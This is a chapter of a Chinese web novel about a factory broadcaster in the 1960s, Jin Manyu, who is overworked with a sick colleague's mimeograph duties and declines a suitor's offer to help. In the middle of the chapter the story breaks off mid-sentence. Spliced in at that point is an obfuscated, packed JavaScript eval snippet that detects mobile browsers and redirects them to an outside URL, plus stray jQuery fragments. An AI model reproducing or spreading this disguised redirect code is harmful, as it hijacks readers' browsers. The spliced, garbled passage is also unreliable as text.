32. 032

作品:《六零之厂花日常

    没多久,就到了金蔓毓和迟骏第二次约饭的时候了。


    这时时间也到了十一月份,七月中旬,迟骏学校召开毕业生大会,正式宣布了这届毕业生的分配名单。还发放了《全国普通高等学校毕业同意分配工作报到证》。


    正式的分配名单出来以后,迟骏收拾了学校的行李,拿着报到证和介绍信,买好了火车直接在七月下旬就来宁安了。


    他先回了养父养母的村子,他们已经去世了,穷困一辈子,没有什么遗产遗物。当时迟骏回来处理的他们的丧事,丧事结束后,按着养父母的心愿,把房屋留给了他们的侄女。


    养母这个侄女在公婆家遭受了很多不好的事情,等孩子们都结婚了,安顿好了,好不容易鼓起勇气离婚了,却没想又遭到了丈夫毒打,儿女们也埋怨她多事,都一把年纪了,还学人家城里人闹离婚。


    公婆丈夫的态度在她意料之中,但是儿女的做法就让她心寒了。她一直觉得自己是为了儿女才苦苦坚持,却没想到儿女们不仅不体谅她,反而觉得她多事。


    在妇联的介入下,养母侄女才终于离婚了,但是她没地方住,又有各种风言风语传出来。


    她四十多岁的人,想不开寻死,当时被人救下来之后,养父养母就把她接到了家里来。之后就一直和养父母生活在一起。


    等养父母去世了,就把房子留给了她,让她最起码有个能住的地方。养父母家房子不大,只有两间并一个厨房。


    这次迟骏回来宁安,也是先在养父母家住了十多天,他和养母侄女说起来算是表姐弟,加上年龄差二十多岁呢,相处也不会不自在。等住到八月初,可以来红星机械厂报到了,迟骏才从村里来到厂里。


    现在距离迟骏回宁安,已经过去了三月多月。这三个多月,迟骏回到了他出生成长的家乡,有了将要奉献一生的职业,还和自己喜欢的姑娘的关系有了新的进展。


    迟骏觉得自己现在实在是幸运的很,现在工作起来,每天都精神头十足的。


    金蔓毓就和他相反了,她整个人感觉疲惫的很。


    迟骏很是关心的问:“蔓毓,你没睡好吗?”


    他甚至偷偷叫金蔓毓的名字。


    但是金蔓毓现在根本注意不到这些事情,她整个人挂着黑眼圈,抱怨说:“我现在,每天早上五点半就得起床,起床后洗漱了去广播站开始晨间广播。之前我好歹在早中晚三段广播的间隙,有个休息的时间。但是现在不行,我有个同事请假了,我只能在这个工作的间隙,完成她的那部分工作。”


    金蔓毓想想都心酸:“也就是说,我从早上六点钟,要一直工作到晚上六点钟,中间只有个吃饭的时间能歇口气。晚上六点下班,去食堂吃了饭,回宿舍洗漱一下,再洗过衣服,就八点多了。我也累的不行,只能倒头就睡了。”


    迟骏和她建议:“你要不要和领导说一说你现在实在难以负担这么多的工作,让他从厂里其他岗位申请调个人过来。”


    金蔓毓精神萎靡:“我说了,我那个同事负责的那部分工作,本来就不是我擅长的,我做起来比较慢,结果领导还要说我做的不好。”


    金蔓毓想想都生气,她如果能把自己的工作和于佳的工作都做好,那是不是厂里也该把于佳的工资发给她。


    迟骏说:“你现在多出来的工作是哪部分?如果可以的话,我愿意帮你。”


    金蔓毓很感谢迟骏的好意:“我同事主要负责厂里油印,大字报,板报这些部分。油印是我另一个同事负责写出来材料,她刻写到蜡纸上,然后印出来。大字报和板报一直也是他们两个人一起合作。这些工作本来就不在我工作的范围里。现在我同事请病假,领导把她工作分给了我们俩,让我负责油印,这样可以在广播站里刻写蜡纸,时间上能够利用的更紧凑一些。”


    金蔓毓也知道,刘栋新增的工作不比她少,但是这部分刘栋本来也在做,只是之前和和于佳一起弄,现在变成一个人弄,肯定更费时间,但是也不需要上手的时间。


    金蔓毓不一样,她之前都没有怎么接触过油印,她就不是很会在蜡纸上刻写。先不说她刻写出来的字肯定是不如手写的字好,就是刻的时候,她也经常给刻坏了。


    最后导致本来要在周六前印出来的宣传资料,直到现在也没有印出来。


    如果换到一个工作更努力,心思更细腻的人身上,那她肯定会在周末选择加班,把这份工作做出来。


    金蔓毓却不这么想,本来这个工作就是突然安排给她的,她之前都没有接触过,怎么可能一接触,立刻就做的像模像样了?


    而且她字是写的一般啊,这是从她上班第一天,王科长就知道的啊。她没有遮遮掩掩过,更没有撒谎说自己写的一手好字。现在王科长突然嫌弃她字写得不好做什么?


    虽然金蔓毓工作后其实也每天都在练字,但是这本身就是一件长久的事情啊。金蔓毓都不觉得自己练一段时间字,字就能突飞猛进,怎么王科长反而有这么不切实际的幻想啊。


    迟骏听了立刻生活:“刻写蜡纸是吗?蔓毓,这个我还真能帮你,我大学时候也负责过类似的工作。”


    金蔓毓听了有一些心动,但还是斩钉截铁的说:“不用,这工作本来就是领导塞给我的,我把我本来的工作做好了,这个多出来的部分,我做成什么样,领导都不应该批评我。他都批评我了,还要我找你,欠人情去做这份工作,我才不呢。”


    金蔓毓想得很清楚,她就是找了迟骏,把这次的油印印出来了,又有什么用呢?也不过是得到王科长口头上的一句表扬罢了。


    但是王科长一句口头上的表扬有什么用?金蔓毓从小到大,最不缺的就是别人夸了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106943|193808||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。领导夸她一句,就让她欣喜万分的事情绝不可能发生。


    而且金蔓毓不是没有好好工作,是她真的好好做了,只要分配给她的工作,她都是很认真很负责的。她自认为自己做的已经够好了,油印这个活儿从完全不懂到勉强上手,用了两个星期的时间,这已经很短了。


    在蜡纸上刻印,本来就比手写要难得多。这是很客观的事情,于佳之前说她刻印足足练了小半年,才终于能到一次就能刻印好,不会出现刻写坏的情况。


    金蔓毓觉得王科长纯粹就是自己心情不好,那她撒气呢。


    她和迟骏说:“再说了,你帮了我这一次,那以后呢?次次帮我?这说出去也不像话吧。我也不需要你的帮助,反正我打算就按自己的能力来,王科长觉得我干得还行,那就让我这么干着。等我适应了,也不会像现在这么累了。如果王科长觉得我干得不行,那就让他另请高明。”


    见金蔓毓这么说了,迟骏点点头:“好,不过你需要我的时候,直接找我就好,我一定会帮你的。”


    说实话,金蔓毓不缺帮她的人,这几天,她的朋友们,甚至同事刘栋,见她每天上班上的蓬头垢面精神萎靡的,都提出要来帮她。但是金蔓毓都拒绝了,还是那句话,凭什么要为了本来就不属于她负担的工作,欠别人的人情呢?


    人家帮了她,那是人家人好,但是她不能厚着脸皮当做这是别人应该为她做的事情啊。


    不过迟骏也说愿意帮她,这样金蔓毓很开心。虽然她不需要朋友们的帮助,但是朋友们愿意帮她,这是他们感情好的象征,只会让金蔓毓开心。


    迟骏见金蔓毓被工作劳累的过分,问她:“蔓毓,那你那个请假的同事,请的假长吗?”


    金蔓毓摇摇头:“我不知道,她是怀孕了,所以请的假,怎么也不请两三个月,坐胎稳了?”


    她喝了一口水,说:“这事儿我倒是不埋怨我同事,虽然她的工作分给我了,但是说实在的,只要能坚持,谁会请病假呢。既然医生都诊断了她得卧床休息,那可见她的情况确实不好。我就是觉得我们领导烦人。可能我们科室最近事儿多,我们领导心烦,所以就看这个不顺眼看那个也不顺眼。我和我还上班的另一个同事,这几天都没少被挑刺。”


    金蔓毓就觉得王科长现在就像是发怒的狗,逮谁咬谁。而且他最想咬的肯定是于佳,但是于佳现在根本都不在单位,他也没办法。


    也是这次于佳怀孕,金蔓毓发现他们宣传科这三个干事,身体可真都挺好的。在金蔓毓上班这两年里,他们三个人没有一个人请过病假的。于佳和刘栋是生病了也坚持上班,金蔓毓见过他们感冒的时候。


    金蔓毓自己则是从小就身体好,一年到头来都没有个头疼脑热的情况。即便偶尔觉得身体有点不舒服,好好睡一觉,再吃点好的,就立刻好了。